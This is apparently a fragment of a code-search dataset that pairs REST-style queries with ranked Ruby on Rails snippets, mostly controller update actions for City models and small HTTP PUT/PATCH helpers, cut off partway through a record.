"docid": "6ac84deb86e80e982c25692f81745ada",
"score": "0.5986208",
"text": "def update\n @city = City.find(params[:id])\n \n\n respond_to do |format|\n if @city.update_attributes(params[:city])\n flash[:notice] = 'City was successfully updated.'\n format.html { redirect_to city_url(@city) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @city.errors.to_xml }\n end\n end\n end",
"title": ""
},
{
"docid": "e4886b9e0257769706c03e589df2505f",
"score": "0.5984562",
"text": "def update\n authorize! :manage, @city\n respond_to do |format|\n if @city.update_attributes(params[:city])\n @city.node.save_from_accessible! params\n format.html { redirect_to @city, notice: 'City was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @city.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b7677189f7f7f45b8d9f8bd97b116b3e",
"score": "0.5977359",
"text": "def update\n respond_to do |format|\n if @city.update(admin_city_params)\n format.html { redirect_to [:admin,@city], notice: 'City was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @city.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "e73cb1a125cc586d1861593ba69d3860",
"score": "0.5950915",
"text": "def update\n redirect_with_permission_error unless current_user.has_any_role?(:admin, { name: :mayor, resource: @city })\n\n respond_to do |format|\n if @city.update(city_params)\n format.html { redirect_to @city }\n format.json { render :show, status: :ok, location: @city }\n else\n format.html { render :edit }\n format.json { render json: @city.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b4fbe2bb4554c75214ec612a847f458e",
"score": "0.5947013",
"text": "def update_tenant_circle(args = {}) \n id = args['id']\n temp_path = \"/tenantcircles.json/{circleId}\"\n path = temp_path\nargs.keys.each do |key|\n if (key == \"tenantcircleId\")\n args.delete(key)\n path = temp_path.gsub(\"{#{key}}\", id)\n end\nend\n puts \" PATH : #{path}\"\n put(path, args)\nend",
"title": ""
},
{
"docid": "8a1fcbdae3046e2102f533f681b61c66",
"score": "0.59413135",
"text": "def update_contact\n url = Addressable::URI.new(\n scheme: 'http',\n host: 'localhost',\n port: 3000,\n path: '/contacts/3'\n ).to_s\n\n puts RestClient.patch(\n url, {contact: {name: \"Josh\", email: \"josh@gmail.com\"}} )\nend",
"title": ""
},
{
"docid": "7aebd189b9a8315c36043f32bd4470c3",
"score": "0.59342456",
"text": "def update\r\n @city = City.find(params[:id])\r\n\r\n respond_to do |format|\r\n if @city.update_attributes(params[:city])\r\n format.html { redirect_to(@city, :notice => 'City was successfully updated.') }\r\n format.xml { head :ok }\r\n else\r\n format.html { render :action => \"edit\" }\r\n format.xml { render :xml => @city.errors, :status => :unprocessable_entity }\r\n end\r\n end\r\n end",
"title": ""
},
{
"docid": "d94c81b9be0e1a18913afc8ee16e40ae",
"score": "0.59312195",
"text": "def update\n respond_to do |format|\n if @city_type.update(city_type_params)\n format.html { redirect_to @city_type, notice: 'City type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @city_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "d3a6951bf57dd2ee2c48de061fa66651",
"score": "0.5905945",
"text": "def update\n respond_to do |format|\n if @city_a.update(city_a_params)\n format.html { redirect_to @city_a, notice: 'City a was successfully updated.' }\n format.json { render :show, status: :ok, location: @city_a }\n else\n format.html { render :edit }\n format.json { render json: @city_a.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "c0b998e143ad2c37de30c76689c22365",
"score": "0.59029555",
"text": "def put(path, body, options = {})\n options[:body] = body\n json_request('PUT', path, options)\n end",
"title": ""
},
{
"docid": "1372856b45a7a924dc31b72a27db0324",
"score": "0.5900984",
"text": "def patch(path, params: {}, body: {})\n request(:patch, path, params: params, body: body)\n end",
"title": ""
},
{
"docid": "317e2d87bb8c24c49fc13055a9ccef13",
"score": "0.58959764",
"text": "def update\n respond_to do |format|\n if @city_status.update(city_status_params)\n format.html { redirect_to @city_status, notice: 'City status was successfully updated.' }\n format.json { render :show, status: :ok, location: @city_status }\n else\n format.html { render :edit }\n format.json { render json: @city_status.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "5541b52ff0a478b86867a76df47aa66d",
"score": "0.58939236",
"text": "def update\n respond_to do |format|\n if @factory_city.update(factory_city_params)\n format.html { redirect_to @factory_city, notice: 'Factory city was successfully updated.' }\n format.json { render :show, status: :ok, location: @factory_city }\n else\n format.html { render :edit }\n format.json { render json: @factory_city.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "c608351ef35381c837770fbdfa567783",
"score": "0.5889591",
"text": "def update\n respond_to do |format|\n if @indonesia_city.update(indonesia_city_params)\n format.html { redirect_to indonesia_cities_path, notice: 'Kota berhasil dirubah.' }\n format.json { render :show, status: :ok, location: @indonesia_city }\n else\n format.html { render :edit }\n format.json { render json: @indonesia_city.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "630953055494b7daaa56ed09740af315",
"score": "0.58832926",
"text": "def update\n respond_to do |format|\n if @cities_to_work.update(cities_to_work_params)\n format.html { redirect_to @cities_to_work, notice: 'Cities to work was successfully updated.' }\n format.json { render :show, status: :ok, location: @cities_to_work }\n else\n format.html { render :edit }\n format.json { render json: @cities_to_work.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "884e5898c24f7f1559c54339b27dbfa9",
"score": "0.5864166",
"text": "def update\n respond_to do |format|\n if @travel_city.update(travel_city_params)\n format.html { redirect_to @travel_city, notice: 'Travel city was successfully updated.' }\n format.json { render :show, status: :ok, location: @travel_city }\n else\n format.html { render :edit }\n format.json { render json: @travel_city.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "17a38ae71212d159808f3828d8c7f611",
"score": "0.5863166",
"text": "def update\n @cities = RegionData.cities.pluck(:name_with_type, :id)\n #if params[:save_visit_journey] || params[:save_form_journey]\n # respond_to do |format|\n # @customer.assign_attributes(customer_params)\n # @customer.save if @customer.valid?\n # format.js { render :edit }\n # end\n #elsif params[:cancel]\n # respond_to do |format|\n # format.js { render :edit }\n # end\n #else\n respond_to do |format|\n if @customer.update(customer_params)\n format.html { redirect_to edit_admin_customer_path(@customer.id), notice: 'Khách hàng đã được chỉnh sửa thành công.' }\n format.json { render :edit, status: :ok, location: @customer }\n else\n format.html { render :edit }\n format.json { render json: @customer.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "769ad852fd090938ae207f6ee233b0d9",
"score": "0.5859499",
"text": "def update\n @city_map = CityMap.find(params[:id])\n\n respond_to do |format|\n if @city_map.update_attributes(params[:city_map])\n format.html { redirect_to @city_map, notice: 'City map was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @city_map.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "17558a17181096484b350b065258f265",
"score": "0.5858577",
"text": "def update\n @city = City.find(params[:id])\n\n respond_to do |format|\n if @city.update_attributes(params[:city])\n flash[:notice] = 'City was successfully updated.'\n format.html { redirect_to(@city) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @city.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "17558a17181096484b350b065258f265",
"score": "0.5858577",
"text": "def update\n @city = City.find(params[:id])\n\n respond_to do |format|\n if @city.update_attributes(params[:city])\n flash[:notice] = 'City was successfully updated.'\n format.html { redirect_to(@city) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @city.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "17558a17181096484b350b065258f265",
"score": "0.5858577",
"text": "def update\n @city = City.find(params[:id])\n\n respond_to do |format|\n if @city.update_attributes(params[:city])\n flash[:notice] = 'City was successfully updated.'\n format.html { redirect_to(@city) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @city.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "fa16209f5ac39ae638cdf45c17fd5f18",
"score": "0.5856444",
"text": "def rest_patch(path, options = {}, api_ver = @api_version)\n rest_api(:patch, path, options, api_ver)\n end",
"title": ""
},
{
"docid": "fa16209f5ac39ae638cdf45c17fd5f18",
"score": "0.5856444",
"text": "def rest_patch(path, options = {}, api_ver = @api_version)\n rest_api(:patch, path, options, api_ver)\n end",
"title": ""
},
{
"docid": "758a498b1880b5c0130f8a1ce2a07a66",
"score": "0.5854325",
"text": "def update\n @cities = City.all\n @city = City.find(params[:id])\n\n if (params[:city][:state_id].blank?)\n params[:city][:state_id] = 0\n end\n\n @city.update_attributes(city_params)\n\n @states = State.all.order(:state_name)\n end",
"title": ""
},
{
"docid": "fb784ac3f2ee2fa90bbddc1eda1ac019",
"score": "0.5852809",
"text": "def update\n\t@city = City.find(params[:id])\n respond_to do |format|\n if @city.update_attributes(params[:city])\n format.html { redirect_to(@city, :notice => 'Miasto zostało pomyślnie zaktualizowane.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @city.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "949931b11d5c6ebe217d51d83c1f425f",
"score": "0.5850655",
"text": "def update\n city = City.all[params[:name]]\n city.update(params)\n redirect_to :action => 'view'\n end",
"title": ""
},
{
"docid": "f09b3d8e1c4b2637086a5570d36ac1b1",
"score": "0.58478457",
"text": "def put(path, body, options = {})\r\n options[:body] = body\r\n json_request('PUT', path, options)\r\n end",
"title": ""
},
{
"docid": "4a3ac2d62eed8f2277595c748db8d3e6",
"score": "0.5845497",
"text": "def update\n\n @cities = City.find_by_state_id(@state.id)\n\n respond_to do |format|\n\n if state_params[:status]==\"inativo\" and @state.status==\"ativo\" and @cities!=nil\n format.html { redirect_to @state, notice: 'Estado tem cidades. Desative as cidades.' }\n format.json { render :show, status: :ok, location: @state }\n else\n\n if @state.update(state_params)\n format.html { redirect_to @state, notice: 'State was successfully updated.' }\n format.json { render :show, status: :ok, location: @state }\n else\n format.html { render :edit }\n format.json { render json: @state.errors, status: :unprocessable_entity }\n end\n\n end\n\n end\n end",
"title": ""
},
{
"docid": "d61c0aeb123e4c5cfcb2ba019dd903a0",
"score": "0.58434105",
"text": "def patch(options = {})\n request :patch, options\n end",
"title": ""
},
{
"docid": "778953cdb8d8b97a253a3b9f1189866c",
"score": "0.58375543",
"text": "def update!(**args)\n @cities = args[:cities] if args.key?(:cities)\n @countries = args[:countries] if args.key?(:countries)\n @exclude_countries = args[:exclude_countries] if args.key?(:exclude_countries)\n @metros = args[:metros] if args.key?(:metros)\n @postal_codes = args[:postal_codes] if args.key?(:postal_codes)\n @regions = args[:regions] if args.key?(:regions)\n end",
"title": ""
},
{
"docid": "b094d2d9e05d560edfc9226aa941ad22",
"score": "0.5811603",
"text": "def patch(path, options={})\n send_request(:patch, path, options)\n end",
"title": ""
},
{
"docid": "f1c91ed6b310d42b0cc26f3d4de97410",
"score": "0.580991",
"text": "def patch(path, options = {})\n request(:patch, path, form: options)\n end",
"title": ""
},
{
"docid": "1b43604bd409d8c4644421c395d71320",
"score": "0.5803209",
"text": "def update\n\t\t\t\trender json: {}, status: 405\n\t\t\tend",
"title": ""
},
{
"docid": "b4cc3ee2207b39abaf779a6078bbaf3a",
"score": "0.5802716",
"text": "def patch\n PATCH\n end",
"title": ""
},
{
"docid": "b4cc3ee2207b39abaf779a6078bbaf3a",
"score": "0.5802716",
"text": "def patch\n PATCH\n end",
"title": ""
},
{
"docid": "6a9360488e0f486101d47ebcf96922f2",
"score": "0.57871085",
"text": "def put(path, options = nil, &block)\n self.map(path, options.merge!(:conditions => {:request_method => \"PUT\"}), &block)\n end",
"title": ""
},
{
"docid": "8f7f417647db7cec92f2670ab59e4c88",
"score": "0.5783173",
"text": "def patch(path, options = {}, &block)\n perform_request Net::HTTP::Patch, path, options, &block\n end",
"title": ""
},
{
"docid": "07918d5a67562e424f50e841ebcd6a84",
"score": "0.5763844",
"text": "def put(path , params = {})\n request(:put , path , params)\n end",
"title": ""
},
{
"docid": "e896664bc45ad37030a800a7d740862a",
"score": "0.5758997",
"text": "def update\n @contract = Contract.find(params[:id])\n @location = Location.find(params[:location_id])\n\n respond_to do |format|\n if @contract.update_attributes(params[:contract])\n format.html { redirect_to @contract, notice: 'Contract was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @contract.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b884089069da536fadb549d409b5c30e",
"score": "0.5748213",
"text": "def update\n respond_to do |format|\n if @courier_city.update(courier_city_params)\n format.html { redirect_to @courier_city, notice: 'Courier city was successfully updated.' }\n format.json { render :show, status: :ok, location: @courier_city }\n else\n format.html { render :edit }\n format.json { render json: @courier_city.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "80b6ed230345f62014c4b0337a644599",
"score": "0.5744956",
"text": "def patch(path, body, headers = {})\n request(Net::HTTP::Patch.new(path, headers), nil, body)\n end",
"title": ""
},
{
"docid": "0f8872308cd71e90aed963baf02fd23e",
"score": "0.57423866",
"text": "def update\n request = RestClient.put File.join(API_SERVER,\"rest-api/departments\"), { \n 'id' => params['id'], \n 'name' => params['department']['name'], \n 'description' => params['department']['description'] }.to_json, :content_type => :json, :accept => :json\n\n redirect_to :action => :index\n end",
"title": ""
},
{
"docid": "fbd7c46b15ae2792fd842ba0d764b7d0",
"score": "0.5740847",
"text": "def put uri, args = {}; Request.new(PUT, uri, args).execute; end",
"title": ""
},
{
"docid": "c26c506b179e6c9b1f46583a7008a4c3",
"score": "0.5740567",
"text": "def update\n @area = Area.find(params[:id])\n @area.city = City.find(params[:city_id])\n\n respond_to do |format|\n if @area.update_attributes(params[:area])\n format.html { redirect_to [@area.city,@area], notice: 'Area was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @area.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "6606fe2a54e816a24177fba301eedf64",
"score": "0.5740286",
"text": "def patch(path, params = nil, headers = nil)\n process(:patch, path, params, headers)\n end",
"title": ""
},
{
"docid": "6606fe2a54e816a24177fba301eedf64",
"score": "0.5740286",
"text": "def patch(path, params = nil, headers = nil)\n process(:patch, path, params, headers)\n end",
"title": ""
},
{
"docid": "83c92f14fde8bdb8b46dfbb00a149a75",
"score": "0.5739737",
"text": "def update\n @company = Company.find(params[:id])\n @localities = Locality.all\n @treatments = Treatment.all\n\n respond_to do |format|\n if @company.update_attributes(params[:company])\n format.html { redirect_to @company, :notice => 'Company was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @company.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "e08e3ed7b0d611df7d42d56c21bbfc67",
"score": "0.5739628",
"text": "def update\n # TODO Strip company_id out of params here\n @v1_employee = V1::Employee.find(params[:id])\n\n if @v1_employee.update_attributes(employee_params)\n render json: @v1_employee, status: :ok\n else\n render json: @v1_employee.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "0c1a09a9d20ee815b5c9f998eda70b44",
"score": "0.57301265",
"text": "def patch(path, params = {}, options = {})\n options[:content_type] ||= :json\n options[:Authorization] = \"simple-token #{self.access_token}\"\n RestClient.patch(request_url(path), params.to_json, options)\n end",
"title": ""
},
{
"docid": "3b2dff4adb598b79232582aced0b048b",
"score": "0.5729238",
"text": "def update\n @locality = Locality.find(params[:id])\n\n respond_to do |format|\n if @locality.update_attributes(params[:locality])\n format.html { redirect_to @locality, notice: 'Locality was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @locality.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "77ce27989a6eb1263af612ecffa00850",
"score": "0.57278335",
"text": "def update\n update! do |success, failure|\n success.json { render :json => resource }\n end\n end",
"title": ""
},
{
"docid": "67987b36f9d627752ee5cdb5bcd6f7a3",
"score": "0.57269454",
"text": "def patch(body: nil, path: nil, headers: nil, id: nil)\n post(body: body, path: path, headers: headers, http_method: :patch, id: id)\n end",
"title": ""
}
] |
0185fcdd57ef651d90f40b7a1d2588a7 | GET /otrunk_example_otrunk_view_entries/1 GET /otrunk_example_otrunk_view_entries/1.xml | [
{
"docid": "805a7e36cfa417c4080f9f909b92ac03",
"score": "0.76765996",
"text": "def show\n @otrunk_view_entry = OtrunkExample::OtrunkViewEntry.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @otrunk_view_entry }\n end\n end",
"title": ""
}
] | [
{
"docid": "05686dd0219b373c297ab4291c772b18",
"score": "0.6957702",
"text": "def show\n @otrunk_import = OtrunkExample::OtrunkImport.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @otrunk_import }\n end\n end",
"title": ""
},
{
"docid": "5f351b49e17451ac699394d6c20712e3",
"score": "0.6957669",
"text": "def new\n @otrunk_view_entry = OtrunkExample::OtrunkViewEntry.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @otrunk_view_entry }\n end\n end",
"title": ""
},
{
"docid": "b5cec73f389684d3527664fa1f535e3c",
"score": "0.66611904",
"text": "def index\n @entries = Entry.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @entries }\n end\n end",
"title": ""
},
{
"docid": "6d5811b30710570c2adb533b6c9c759e",
"score": "0.64217013",
"text": "def show\n @otml_file = OtrunkExample::OtmlFile.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @otml_file }\n end\n end",
"title": ""
},
{
"docid": "3315cb2889353551be6737357c17f02e",
"score": "0.63591444",
"text": "def index\n @contestant_entries = ContestantEntry.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @contestant_entries }\n end\n end",
"title": ""
},
{
"docid": "4f2a6e90df82400b7f76efb321b2d1c3",
"score": "0.6297905",
"text": "def index\n @entries = Entry.paginate :page => @page, :per_page => @per_page, :order => 'created_at DESC'\n \n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @entries }\n end\n end",
"title": ""
},
{
"docid": "d3f16e752c9adcf5d5ff8b9037684205",
"score": "0.6293086",
"text": "def index\n @usage_entries = UsageEntry.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @usage_entries }\n end\n end",
"title": ""
},
{
"docid": "9ccf2ee90be741adb39e189afa4496bf",
"score": "0.6283659",
"text": "def show\n @vocentry = Vocentry.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @vocentry }\n end\n end",
"title": ""
},
{
"docid": "0ba7c3e27140c7cf9470f9d0e7ed9548",
"score": "0.6277826",
"text": "def entry_list\n unless params[:iof_version] == '3.0'\n raise ActionController::RoutingError.new('Not Found')\n end\n\n @event = Event.find(params[:id])\n respond_to do |format|\n format.xml { render :layout => false }\n end\n end",
"title": ""
},
{
"docid": "ae5390a5a88a1d9a720e15901eeb8236",
"score": "0.6239739",
"text": "def show\n @otrunk_report_template = OtrunkReportTemplate.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @otrunk_report_template }\n end\n end",
"title": ""
},
{
"docid": "6e1ff92831b3d36303463b3b5525ef95",
"score": "0.6203352",
"text": "def index\n @inventory_entries = InventoryEntry.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @inventory_entries }\n end\n end",
"title": ""
},
{
"docid": "8ee42d631329b0bf3a4eba4f0722ecb7",
"score": "0.61921173",
"text": "def entry_list\n\t\tunless params[:version] == '3.0' then\n\t\t\traise ActionController::RoutingError.new('Not Found')\n\t\tend\n\t\t\n\t\t@event = Event.find(params[:id])\n\t\trespond_to do |format|\n\t\t\tformat.xml { render :layout => false }\n\t\tend\n\tend",
"title": ""
},
{
"docid": "175247a4bc696da109ac4641587b99ad",
"score": "0.61801",
"text": "def show\n @cdr_entries = CdrEntries.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @cdr_entries }\n end\n end",
"title": ""
},
{
"docid": "e84c89dd5252e327525e3aea734dc548",
"score": "0.617165",
"text": "def show\n @journal_entry = JournalEntry.find(params[:id])\n\n respond_to do |format|\n format.html # show.rhtml\n format.xml { render :xml => @journal_entry.to_xml }\n end\n end",
"title": ""
},
{
"docid": "099d700040c6c4c297e7d10b20c07d21",
"score": "0.61713755",
"text": "def new\n @otrunk_import = OtrunkExample::OtrunkImport.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @otrunk_import }\n end\n end",
"title": ""
},
{
"docid": "7f55ab152fad7456da42dac94ce2e6bf",
"score": "0.61611867",
"text": "def index\n retrieve_vtodos\n\n respond_to do |format|\n format.html # index.html.erb\n format.rdf { render :xml => ICAL::Vtodo.to_xml }\n end\n end",
"title": ""
},
{
"docid": "b4e70d23b48f264c6fbf416f7a779f9c",
"score": "0.61592656",
"text": "def show\n @entry = Entry.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @entry }\n end\n end",
"title": ""
},
{
"docid": "a05f2dfd775e274d02bc6feb9f1827d4",
"score": "0.6153875",
"text": "def create\n @otrunk_view_entry = OtrunkExample::OtrunkViewEntry.new(params[:otrunk_view_entry])\n\n respond_to do |format|\n if @otrunk_view_entry.save\n flash[:notice] = 'OtrunkExample::OtrunkViewEntry was successfully created.'\n format.html { redirect_to(@otrunk_view_entry) }\n format.xml { render :xml => @otrunk_view_entry, :status => :created, :location => @otrunk_view_entry }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @otrunk_view_entry.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "31d0ea05df8e661e6e59edf1b7a3db90",
"score": "0.61387724",
"text": "def show\n @log_entry = LogEntry.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @log_entry }\n end\n end",
"title": ""
},
{
"docid": "fca012dff90e8d190ad8c3f1b51a358a",
"score": "0.61036885",
"text": "def index\n @lines = Line.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @lines }\n end\n end",
"title": ""
},
{
"docid": "617eaf368837dc58a8595797b771daf5",
"score": "0.6097033",
"text": "def index\n @lunar_releases = LunarRelease.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @lunar_releases }\n end\n end",
"title": ""
},
{
"docid": "89f5f1fbad70df6e75408915a7b5e67d",
"score": "0.6096611",
"text": "def show\n @entry = Entry.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @entry }\n end\n end",
"title": ""
},
{
"docid": "89f5f1fbad70df6e75408915a7b5e67d",
"score": "0.6096611",
"text": "def show\n @entry = Entry.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @entry }\n end\n end",
"title": ""
},
{
"docid": "89f5f1fbad70df6e75408915a7b5e67d",
"score": "0.6096611",
"text": "def show\n @entry = Entry.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @entry }\n end\n end",
"title": ""
},
{
"docid": "89f5f1fbad70df6e75408915a7b5e67d",
"score": "0.6096611",
"text": "def show\n @entry = Entry.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @entry }\n end\n end",
"title": ""
},
{
"docid": "89f5f1fbad70df6e75408915a7b5e67d",
"score": "0.6096611",
"text": "def show\n @entry = Entry.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @entry }\n end\n end",
"title": ""
},
{
"docid": "89f5f1fbad70df6e75408915a7b5e67d",
"score": "0.6096611",
"text": "def show\n @entry = Entry.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @entry }\n end\n end",
"title": ""
},
{
"docid": "89f5f1fbad70df6e75408915a7b5e67d",
"score": "0.6096611",
"text": "def show\n @entry = Entry.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @entry }\n end\n end",
"title": ""
},
{
"docid": "89f5f1fbad70df6e75408915a7b5e67d",
"score": "0.6096611",
"text": "def show\n @entry = Entry.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @entry }\n end\n end",
"title": ""
},
{
"docid": "3b1fdc16fd22f87d89d6e0d81f1e7378",
"score": "0.60538363",
"text": "def index\n # want most recent at top\n @lookup_refs = LookupRef.order(\"label,display_order,id DESC\" ).all\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @lookup_refs }\n end\n end",
"title": ""
},
{
"docid": "d966f8f98a2281818ba64822415b26db",
"score": "0.6051651",
"text": "def show\n @subentry = Subentry.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @subentry }\n end\n end",
"title": ""
},
{
"docid": "62cc3290f567c467df267a7488982325",
"score": "0.6046865",
"text": "def show\n @kimura_entry = KimuraEntry.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @kimura_entry }\n end\n end",
"title": ""
},
{
"docid": "b86f2330880b5675cf0d11c28446d010",
"score": "0.6038679",
"text": "def index\n # @trails = Trail.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @trails }\n end\n end",
"title": ""
},
{
"docid": "e4c4f72d2bcde0d9033129a0052c8359",
"score": "0.60358816",
"text": "def index\n @blog_entries = BlogEntry.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @blog_entries }\n end\n end",
"title": ""
},
{
"docid": "bcd6f52d06bc1f3ace88ba58bec1c8ce",
"score": "0.6032296",
"text": "def index\n @knodes = Knode.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @knodes }\n end\n end",
"title": ""
},
{
"docid": "a4fc4ce9ccb095c961a9ad46082aa750",
"score": "0.6023768",
"text": "def show\n @fault_history = FaultHistory.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @fault_history }\n end\n end",
"title": ""
},
{
"docid": "0daade15ffa06b9e7c8824cb1f50196d",
"score": "0.6017294",
"text": "def index\n @blog_entries = BlogEntry.find(:all, :order => 'created_at DESC')\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @blog_entries }\n end\n end",
"title": ""
},
{
"docid": "a78f5fb9ed36029d3682cdc8966d4c70",
"score": "0.6016764",
"text": "def index\n #@entries = Entry.find(:all)\n #@entries = @group.entries.find(:all)\n @entries = @group.entries.paginate(:page => params[:page], :order => 'created_at DESC', :per_page => 5)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @entries }\n end\n end",
"title": ""
},
{
"docid": "437b99756209aa14feddb6e5359c13e5",
"score": "0.6014381",
"text": "def index\n @piki_entries = PikiEntry.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @piki_entries }\n end\n end",
"title": ""
},
{
"docid": "78f57093f79691b79fca70291f405a48",
"score": "0.599438",
"text": "def destroy\n @otrunk_view_entry = OtrunkExample::OtrunkViewEntry.find(params[:id])\n @otrunk_view_entry.destroy\n\n respond_to do |format|\n format.html { redirect_to(otrunk_example_otrunk_view_entries_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "4f3009e0d79ee1627243fcc535eb434e",
"score": "0.5992431",
"text": "def show\n @exercise_log_entry = ExerciseLogEntry.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @exercise_log_entry }\n end\n end",
"title": ""
},
{
"docid": "17e14452efb66f197a68a2e7d252ddee",
"score": "0.59863085",
"text": "def index\n @entries = Entry.order('created_at DESC').paginate(page: params[:page])\n @entries_all = Entry.order('created_at DESC')\n respond_to do |format|\n format.html\n format.rss\n end\n end",
"title": ""
},
{
"docid": "365f7f0d057e050d5fdeceb27b8548bc",
"score": "0.5983368",
"text": "def show\n @contest_entry = ContestEntry.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @contest_entry }\n end\n end",
"title": ""
},
{
"docid": "4718e593e9eba5a37e74f1d67464dcf2",
"score": "0.5976995",
"text": "def index\n @line_items = LineItem.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @line_items }\n end\n end",
"title": ""
},
{
"docid": "4718e593e9eba5a37e74f1d67464dcf2",
"score": "0.5976737",
"text": "def index\n @line_items = LineItem.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @line_items }\n end\n end",
"title": ""
},
{
"docid": "4718e593e9eba5a37e74f1d67464dcf2",
"score": "0.5976737",
"text": "def index\n @line_items = LineItem.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @line_items }\n end\n end",
"title": ""
},
{
"docid": "d319e1e35450bb5130bece409749d2ea",
"score": "0.5974084",
"text": "def all\n location_id = params[:id]\n location_id ||= \"1\"\n url= \"http://localhost:8080\"\n r = RestClient::Resource.new url\n # TODO Uncomment when implemented\n create_feed(location_id) unless feed_exists?(location_id)\n res = r[\"exist/atom/content/4302Collection/\"+location_id].get\n #res = r[\"exist/atom/content/4302Collection/root-trends\"].get\n render :xml => res\n end",
"title": ""
},
{
"docid": "bb6b122f713968aabbe25b0ebef27f46",
"score": "0.5968459",
